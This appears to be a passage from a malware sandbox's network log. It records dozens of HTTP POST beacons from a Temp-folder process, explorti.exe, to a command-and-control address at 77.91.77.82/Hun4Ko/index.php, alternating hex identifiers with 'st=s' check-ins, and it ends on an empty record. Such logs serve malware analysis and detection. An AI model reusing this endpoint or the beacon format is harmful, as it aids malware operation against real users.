Jun 30, 2024 10:22:47.304507017 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49767	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:47.484306097 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49768	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:47.554250002 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49769	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:48.864454985 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:22:49.134445906 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49770	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:49.151684046 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49771	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:49.602627993 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49772	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:49.754266977 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	57370	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:49.911806107 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	57371	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:50.021787882 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	57372	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:50.422233105 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	57373	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:50.770653009 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	57374	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:51.298300982 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	57375	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:51.484461069 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	57376	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:51.703358889 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	57377	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:51.856175900 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	57378	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:52.160780907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	57379	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:52.260499954 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	57380	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:52.442651033 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	57381	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:52.478822947 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	57382	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:52.641066074 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	57383	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:52.918606043 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	57384	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:53.183796883 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	57385	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:53.373590946 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	57386	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:53.705550909 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	57387	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:53.937032938 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	57388	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:54.396493912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:22:54.915699959 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	57389	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:55.120450974 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	57390	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:55.444434881 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	57391	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:55.516746044 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	57392	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:55.745556116 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	57393	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:55.886765003 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	57394	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:56.065709114 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	57395	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
